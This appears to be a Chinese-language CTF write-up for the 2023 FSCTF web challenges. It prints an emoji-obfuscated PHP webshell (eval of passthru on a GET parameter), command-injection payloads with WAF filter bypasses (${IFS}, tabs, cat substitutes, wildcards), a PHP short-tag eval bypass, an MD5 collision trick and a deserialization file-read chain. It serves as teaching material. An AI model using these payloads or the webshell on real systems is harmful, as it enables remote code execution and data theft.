2023FSCTFwebWP 源码!启动! F12和右键都被禁用了 Ctrl + U 查看源码 在源码最下面找到flag
webshell是啥捏 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file(__FILE__); $😀="a"; $😁="b"; $😂="c"; $🤣="d"; $😃="e"; $😄="f"; $😅="g"; $😆="h"; $😉="i"; $😊="j"; $😋="k"; $😎="l"; $😍="m"; $😘="n"; $😗="o"; $😙="p"; $😚="q"; $🙂="r"; $🤗="s"; $🤩="t"; $🤔="u"; $🤨="v"; $😐="w"; $😑="x"; $😶="y"; $🙄="z"; $😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔; if (isset($_GET['👽'])) { eval($😭($_GET['👽'])); }; ?>
简单的php代码审计,用Ctrl+F一个个查找用于拼接😭的表情所对应的字符,得到$😭=passthru; 然后用GET方式提交👽,RCE即可 payload:
1 http://node4.anna.nssctf.cn:28408/?%F0%9F%91%BD=cat%20/f*
得到flag
细狗2.0 一个输入框,用;闭合然后试试ls命令 有回显,应该可以rce,试一下cat 发现有waf,空格被过滤了(被waf用’+’代替了) 然后各种绕过姿势都试了一下 cat 可以用 nl head paste sort tac uniq tail代替 空格(%20) 可以用 %09(tab) %20(space) \x09(tab),也可以用(\x20) ${IFS} $IFS$1 $IFS代替 flag 可以用通配符’ * ‘和’ ? ‘ 代替 得到flag: payload:
或
1 ?hongzh0=1%3Bnl%24%7BIFS%7D%2Ffl*
Hello,you 一个简单的注册页面,题目提示是rce,简单的试一下 输入1;ls 回显如下: 和上题一样,有waf,各种绕过姿势都试一下 得到flag payload:
EZ_eval
代码审计一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if(isset($_GET['word'])){ $word = $_GET['word']; // 过滤了cat,tac,tail等命令,flag字符和' /'符号 可以用paste,uniq等命令或者用' \ '符号绕过命令的过滤限制 if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){ die("nonono."); } // 将word中的" ? "替换成空字符 $word = str_replace("?", "", $word); // "?>" 将php闭合了,所以我们要用到标签来rce eval("?>". $word); }else{ highlight_file(__FILE__); }
代码审计后根据waf写payload绕过 payload:
1 2 3 word=<script%09language="php">system('paste%09/f*'); 或者 word=<script%09language="php">passthru('ca\t%09/f*');
得到flag
php短标签:1 2 3 1.<? echo '123';?> #前提是开启配置参数short_open_tags=on 2.<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。 3.<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下
ez_php1 话不多说,先代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file(__FILE__); error_reporting(0); include "globals.php"; $a = $_GET['b']; $b = $_GET['a']; // 用变量a,b分别接收get请求的a,b参数 if($a!=$b&&md5($a)==md5($b)) // a,b两个参数不相同,但是要求a,b两个参数的md5加密后值相同 可以查一下加密后md5值相同的两个数(md5碰撞对:QNKCDZO和240610708) { echo "!!!"; $c = $_POST['FL_AG']; // 用变量c来接受一个post方式提交的FL_AG参数 if(isset($c)) // 判断c是否为 { if (preg_match('/^.*(flag).*$/', $ja)) { // 过滤符号 echo 'You are bad guy!!!'; } else { echo "Congratulation!!"; echo $hint1; // 输出提示1 } } else { echo "Please input my love FL_AG"; } } else{ die("game over!"); } ?>
根据代码审计的结果构造payload,使其输出$hint1 用hackbar发包 得到提示1:L0vey0U.php 访问L0vey0U.php 一样的,代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file(__FILE__); error_reporting(0); include "globals.php"; $FAKE_KEY = "Do you love CTF?"; $KEY = "YES I love"; $str = $_GET['str']; // $str接受一个get请求的str参数 echo $flag; // 如果$str反序列化的值等于$KEY的值,那么输出提示2 if (unserialize($str) === "$KEY") { echo "$hint2"; } ?>
根据代码审计的结果,我们需要对$KEY进行序列化,然后再用get方式请求就可以得到提示2 对$KEY进行序列化:
1 2 3 4 <?php $KEY = "YES I love"; echo serialize($KEY); ?>
反序列化的结果是:
payload:
得到提示2:P0int.php,访问 代码审计一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file(__FILE__); // 输出当前文件的源代码,并进行语法高亮显示 error_reporting(0); // 关闭错误报告 class Clazz // 定义一个名为Clazz的类 { public $a; // 定义一个公共属性$a public $b; // 定义一个公共属性$b public function __wakeup() // 当对象被反序列化时,会自动调用此魔术方法 { // 从文件g0t_f1ag.php中读取内容,将其进行base64编码,然后赋值给$a $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); } public function __destruct() // 当对象被销毁(即在脚本结束时)时,会自动调用此魔术方法 { echo $this->b; // 输出$b的值 } } @unserialize($_POST['data']); // 对POST参数'data'进行反序列化,并忽略任何错误(由于@符号) ?>
我们需要传入一个序列化的对象(Clazz类),然后使它反序列化然后自动调用两种魔术方法
$a接收了g0t_f1ag.php的base64编码后面的内容,但是没有输出$a 的语句,只有输出$b的语句,所以我们需要用$b来引用$a,实现对$a的输出
得到序列化的对象1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Clazz { public $a; public $b; public function __construct() { $this->b = &$this->a; // 引用$a } public function __wakeup() { $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); } public function __destruct() { echo $this->b; } } $test = new Clazz(); echo serialize($test);
输出结果:1 O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
POST提交参数 得到一串base64编码的字符串1 PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
base64解码得到flag1 2 3 <? $FLAG= "FLAG{y0u_are_l0ve!!!!}" ?>
寻找蛛丝马迹 点了一下,没啥反应,根据题目提示,应该是信息搜集类型的题目,Ctrl+U看看源码 找到第一段flag: FSCTF{Tell_y0U_n 点了一下css文件,发现有乱码的注释 保存下来看看 发现第二段flag: oT_To_p 根据提示,同上打开js文件看看 保存下来查看 发现第三段flag: oInT_oUt_ dirsearch直接开扫 发现robots.txt www.zip 和 DS_store 得到后面的三段flag: tH@t_y000 u_Don’t_ believe_it!} 拼接起来,flag:
1 FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}
签到plus 根据题目提示,被黑客接管了,可以猜测存在后门,工具扫一下目录 发现shell.php,访问 一个phpinfo界面,Ctrl+F找一下flag 找了个假的flag,观察了一下php的版本,搜一下看看有没有可以利用的漏洞 根据如图构造payload 响应包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 HTTP/1.1 200 OK Host: node4.anna.nssctf.cn:28142 Date: Thu, 02 Nov 2023 00:35:28 GMT Connection: close Content-Length: 443 <?php phpinfo(); $😀="a"; $😁="b"; $😂="c"; $🤣="d"; $😃="e"; $😄="f"; $😅="g"; $😆="h"; $😉="i"; $😊="j"; $😋="k"; $😎="l"; $😍="m"; $😘="n"; $😗="o"; $😙="p"; $😚="q"; $🙂="r"; $🤗="s"; $🤩="t"; $🤔="u"; $🤨="v"; $😐="w"; $😑="x"; $😶="y"; $🙄="z"; $😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔; if (isset($_GET['👽🦐'])) { eval($😭($_GET['👽🦐'])); }; ?>
和之前那道rce的题目一样,拿到flag